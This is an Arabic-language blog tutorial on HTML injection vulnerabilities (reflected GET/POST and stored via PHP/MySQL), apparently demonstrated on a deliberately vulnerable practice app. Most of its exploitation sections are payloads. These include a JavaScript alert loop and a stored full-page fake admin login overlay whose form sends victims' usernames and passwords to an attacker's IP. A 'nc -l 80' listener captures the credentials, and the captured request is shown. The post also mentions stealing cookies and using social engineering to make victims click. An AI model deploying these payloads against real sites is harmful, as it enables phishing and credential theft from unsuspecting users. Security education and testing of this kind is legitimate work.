Html code injection-[Post-Get-StoredData!]-

السلام عليكم ورحمة الله وبركاتة،
 
 بسم الله الرحمن الرحيم والصلاة والسلام على أشرف الخلق والمرسلين ،
اليوم شرحنا راح نتكلم عن ثغرات HTML INJECTION وذلك عن طريق حقن كود HTML بالمدخل او المتغير المصاب ومحاولة استغلالها بعده طرق,

 بالاول ناخذ تعريف عن  [ HTML = [HyperText Markup Language



تعني لغة توصيف النص التشعبي:wikipedia  بالعادة لغة توصيف النص التشعبي تكون بالدرجة الاولى في تصميم وتوظيف قوالب والنصوص. في الويب ابلكيشن وهاذا شيء طبيعي جدا. ولكن تكمن ثغراتها في تحقق المدخلاات مثلها مثل اي ثغرة اخرى في الويب ابلكيشن. اي  لنفرض بأن لدي صفحه في موقع معين مبني على HyperText Markup Language  بالكامل ولديه مدخل بأسم ["Search"] وليس عليه تحقيق او فلتره للمدخل في هالحاله تكمن الاصابة، ولكن تختلف المعاير في طريقة الارسال والاستقبال الحزم. وعندما اعني تختلف في الارسال اي اعني في الطلب والاستقبال من خلال طرق الارسال Hypertext] Transfer Protocol ]= Http. وكما تسمى Http Method&*Http Verbs/ وهي في الغالب تكون مابين اثنين اكثر انتشار وهم Get^ & ^POST. اكثر المدخلات تقوم بالاستعلام من خلال Http method من خلال get and post وتكون في العادة إقل خطورة من 

[Stored html injection] = اي تكون مربوطه وا مخزنه في قاعدة بايانات وذلك من خلال ربط المعلومات بستخدام لغةاخرى

 مع [ Server side language -Html  مثل  PHP,JAVASCRIPT, ASP.NET, JSP...  وذلك من خلال استدعاء البي اتش بي من /.html


بعد ماخذنا تعريف بسيط وجزيء عن الثغرات وكيفيه حدوثها لناخذ الان الاعراض والنتائج للثغرات مع امثله.
  
في الحقيقة ثغرات Html لايستهان فيها ابدا من اعراضها بالامكان حقن كود جافا سكربت خبيث داخل كود html وينتج عن ثغرة [XSS] وأكثر.

وايضا يستفاد منها في اكثر من هجمة او ثغرة مثل [Clickjacking &IFarme

وكذلك الحصول على معلومات حساسة جدا مثل اليوزر والباسورد[User/ password sniffing] .

الان نتجهه للتطبيق العملي لكل واحدة منهم.


1- Get /request Html code injection

في البداية للنظر داخل الكود ونحلل من ثم نطبق >.



كما نلاحظ من الصورة نلاحظ الاسم الاول والاسم الاخير First name ^ last name يتم التحقق منها والطباعه من خلال Echo وهو دلة الطباعة من غير فلتره ولاتحقق. كما ذكرت سابقا Html injection وا xss عملتان لوجه واحد. 
الان بعد التأكد والاتضاح بوجود ثغرة نأتي الان للاستغلال نتابع.
في البداية نستعلام عن كود html بسيط وهو header tag في لغة  html

نكتفي بتأكيد من خلال، <h1></h1>



كما نلاحظ تاق الهيدر جاب نتيجه، الان في هالحالة بالامأكن بكتابه كود html مع جافا سكربت وسحب الكوكيز ولكن  تكون من نوع reflected xss بحكم دنماكيه الصفحة. وذلك يتطلب الهندسه الاجتماعيه وايضا بعض من الصبر في هالنوع من الهجمات من حيث يتطلب الارسال رابط الصفحه للضحيه والاقناع حتى يضغط على الصفحة. 
لناخذ مثال بحقن كود html بداخله Javascript ونستعرض من خلال الكود التألي
<html>    <body>
      <h1>Lodaing xss</h1>
      <script>
        for(var i=1; i<=12; i++) {
          alert("r3m0tnu11"+i+" Xss+html")
        }
      </script>
       <h1>…well Done !</h1>
     </body>
    </html>




2-  Post /request Html code injection

لاتفرق مع get سوا فقط دنماكية الارسال/////
3- <Stored code injection] MySQL USING PHP


الان نأتي الا اهم واخطر نوع من ثغرات html والتي تكون مربوطه بالقاعده من خلال الاستدعاء بالبي اتش بي اولا ثم للغة البي اتش بي تتصل بالقاعدة ثانيا هاكذا يتم ربط المعلومات بين html&mysql يكون الوسيط مابينهم هو php على كل حال.
لناخذ مثال .


خلونا نشوف الكود البرمجي للصفحة ونشوف المشكلة


الان كما نلاحظ الاستعلام يكون من خلال post ثم يقوم بدخال قيمه المدخلات للبي اتش بي ومن ثم ارسالها للماي سيكول للتطابق على المعطيات على كل حال، عرفنا انه الصفحه مصابة من خلال echo من دون فلتره وايضا عرفنا بأن المعلومات المدخله تتخزن. وهاذا يعني لانحتاج للهندسه العكسية والتحايل والخ،،،. فقط نضع الحقنه وننتظر النتآئج سوا كان كود خبيث جافا سكربت يقوم بسحب الكوكيز او باستبدال الصفحه الموجوده بصفحه نقوم احنا بوضعها وتتبدل بدل الصفحه القديمه بحكم انها مخزنه لناخذ مثال والاستغلال.



نقوم الان باتجربه الملف هو مصاب او لا من خلال التاق السابق <h1> </h1>

تمام الان عرفنا بأن الملف مصاب. ولكن ماذا نعمل الان. الان بالامكان بحقن صفحه نضع فيها يوزر وباسورد للدخول لليهام الضحيه بأن يتطلب عليه تسجيل معلومات الادمن للسكربت والباس. ومن ثم نستقبل المعلومات من النت كات والتنصت . لناخذ 
 مثال لحقن كود   يوهم الضحيه .html

    <div style="position: absolute; left: 0px; top:    0px; width: 1900px; height: 1300px; z-index: 1000;
    background-color:white; padding: 1em;">
    Admin Username and password are required please log in.:<br><form name="login"
    action="http://IP:80"><table>
    <tr><td>Username:</td><td><input type="text" name="username"/></td>
    </tr><tr><td>Password:</td><td><input type="password" name="password"/></td>
    </tr><tr><td colspan=2 align=center><input type="submit" value="Login"/>
    </td></tr></table></form></div> 

 
نقوم بتغير بالالون الاحمر ووضع الاي بي تبعنا والبورت 80

ومن ثم التنصت على البورت 80
nc -l 80

والناتج
GET /?username=r3m0tnu11&password=r3m0t3null%7E0x00&security_level=0 HTTP/1.1
Host: *
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ar,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://*htmli_stored.php
Connection: keep-alive


 

تعليقات

المشاركات الشائعة من هذه المدونة

Deserialization vulnerability in Node.js RCE

CRLF injection [\r\n Carriage Return]